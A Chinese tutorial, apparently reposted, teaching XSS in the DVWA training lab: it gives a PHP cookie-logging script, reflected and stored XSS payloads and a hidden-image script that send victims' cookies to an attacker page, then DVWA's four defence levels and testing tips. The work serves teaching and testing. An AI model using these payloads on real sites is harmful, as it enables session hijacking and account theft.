zoukankan      html  css  js  c++  java
  • 如何发起、防御和测试XSS攻击,我们用DVWA来学习(下)

    上一篇我们了解了XSS攻击的原理,并且利用DVWA尝试了简单的XSS攻击,这一篇我们来实现更复杂的攻击,然后探讨防御机制和测试理念。

    前面我们通过脚本注入让网页弹出了用户cookie信息,可以光弹窗是没有什么用的,接下来我们想办法把这些信息发送出去。

    2.1 使用反射型XSS攻击盗取用户cookie

    我们去网站的根目录低下,新建一个cookie.php文件,写入以下代码:

    <?php
    $cookie = $_GET['c'];
    $ip = getenv ('REMOTE_ADDR');
    $time = date('Y-m-d g:i:s');
    $fp = fopen("cookie.txt","a");
    fwrite($fp,"IP: ".$ip."Date: ".$time." Cookie:".$cookie. "
    ");
    fclose($fp);
    ?>

    这个php文件就是通过获取‘c’参数,将浏览器的cookie值进行传递,并最终写入同目录下一个名为cookie.txt文件里。

    接下来我们尝试用反射型XSS攻击来向这个php文件发送用户cookie。

    我们构造出这样的URL:http://127.0.0.1/dvwa/vulnerabilities/xss_r/?name=<script>document.location="http://127.0.0.1/dvwa/cookie.php?c="+document.cookie</script>

    (注意我们只是在试验XSS攻击,所以备攻击网站和攻击者的网站我用了同样的本地地址,实际中后一个127.0.0.1将会是黑客的网站地址)

    在DVWA中,反射型XSS试验页面里,我们填入URL地址栏,回车发现并没有起到效果。

    进一步我们将以上URL进行字符转义,构造成以下样式:http://127.0.0.1/dvwa/vulnerabilities/xss_r/?name=%3Cscript%3Edocument.location="http://127.0.0.1/dvwa/cookie.php?c="%2bdocument.cookie</script>

    再次输入地址栏并且访问。结果是,用户的cookie就被传递并且写入我的cookie.txt文件里了:

    到这里我们已经成功实现了使用反射型XSS攻击盗取用户信息的目的。拿到了用户的cookie,我们就可以通过cookie替换,去登录被盗者的账号,后面能做的事情就有些不可描述了。

    实际中的攻击者会将这种带攻击URL经过伪装,通过邮件或者聊天工具发送给被攻击者。一旦打开这个链接,恭喜你你就已经中招了。

    2.2 使用存储型XSS攻击盗取用户cookie

    接下来再来尝试用存储式攻击实现同样的目的。

    我们先尝试去到DVWA的留言板页面,类似的我们直接写入刚才用到的这段脚本:

    <script>document.location="http://127.0.0.1/dvwa/cookie.php?c="+document.cookie</script>

    提交以后,这段留言就被注入到了网页源码里面。下次只要有用户访问到这个留言板,那么就会把他的cookie信息发送给我,并被保存到我的文本文件里。

    不过我发现这样做,留言板页面内容本身会有展示上的问题,攻击容易被发现。

    于是我们再多加一层处理,我们再在同样的目录下,新建一个cookie.js文件,写入以下代码:

    var img = document.createElement('img');
    img.width = 0;
    img.height = 0;
    img.src = 'http://127.0.0.1/dvwa/cookie.php?c='+encodeURIComponent(document.cookie);

    可以看到我们引入了一个img元素,然后赋予他src值,指向的还是我们之前的cookie.php。

    接下来再去到留言板,用代码将这个js注入:

    <script src="http://127.0.0.1/dvwa/cookie.js"></script>

    提交保存,再次访问这个留言板,我们发现用户的cookie又被盗取到了:

    2.3 XSS攻击的防御:

    之所以推荐DVWA这个应用,除了是我们很好的试验学习场地之外,还有一点是他给我们提供了应对攻击的方法。

    去到DVWAvulnerabilitiesxss_rsource目录,可以看到,有4个不同安全级别的php文件,分别对应不同级别的防御方式:

    Low:没有任何防御

    <?php
    
    header ("X-XSS-Protection: 0");
    
    // Is there any input?
    if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
        // Feedback for end user
        $html .= '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
    }
    
    ?>

    Medium:置换掉任何带有<script>标签的输入

    <?php
    
    header ("X-XSS-Protection: 0");
    
    // Is there any input?
    if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
        // Get input
        $name = str_replace( '<script>', '', $_GET[ 'name' ] );
    
        // Feedback for end user
        $html .= "<pre>Hello ${name}</pre>";
    }
    
    ?>

    High:通过正则表达式的搜索和替换置换掉<script>标签

    <?php
    
    header ("X-XSS-Protection: 0");
    
    // Is there any input?
    if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
        // Get input
        $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
    
        // Feedback for end user
        $html .= "<pre>Hello ${name}</pre>";
    }
    
    ?>

    Impossible:使用htmlspecialchars函数把预定义的字符&、”、        ’、<、>转换为 HTML 实体,防止浏览器将其作为HTML元素。

    <?php
    
    // Is there any input?
    if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
        // Check Anti-CSRF token
        checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
    
        // Get input
        $name = htmlspecialchars( $_GET[ 'name' ] );
    
        // Feedback for end user
        $html .= "<pre>Hello ${name}</pre>";
    }
    
    // Generate Anti-CSRF token
    generateSessionToken();
    
    ?>

    2.4 XSS攻击的测试:

    我们可以直接去审查网页代码,如果代码在进行前后端交互的过程中,对于提交的变量没有做encoding处理,那么可以预见就会有XSS攻击风险。

    也可以通过模拟攻击的方式去测试:

    检查被测网站中,有没有可以提交输入的区域,比如文本输入框,留言板功能。

    检查被测网站中,有没有通过URL传递参数给后台处理的机制。

    如果有这些特性,那么我们就可以通过模拟黑客攻击,使用XSS脚本对于这些网页进行测试。比如输入区域,使用我们之前的弹窗XSS脚本,看看会不会弹窗,如果会那么说明网站是可被XSS攻击的;对于URL我们通过参数的修改,在参数中插入XSS脚本执行,如果脚本执行成功,同样说明网站是可被XSS攻击的。

    更推荐的其实是通过自动扫描工具去进行安全性测试。市面上这类工具很多,比如BurpSuite,Fiddler等等。

  • 相关阅读:
    讨论: 在WebControl中的Button,同时有onClientClick和onclick事件,验证控件实效
    在DropDownList中显示树形结构
    我的软件开场白+简单的通讯录
    DataList中动态添加控件遇到的问题
    伤心啊!不知道怎么感冒了
    存储过程实现无限级分类(2)
    上传文件类
    一个用泛型,和Sql语句分页的源代码
    在GridView中用Js实现全选
    [转]如何完美应对面试
  • 原文地址:https://www.cnblogs.com/yingyingja/p/9887564.html
Copyright © 2011-2022 走看看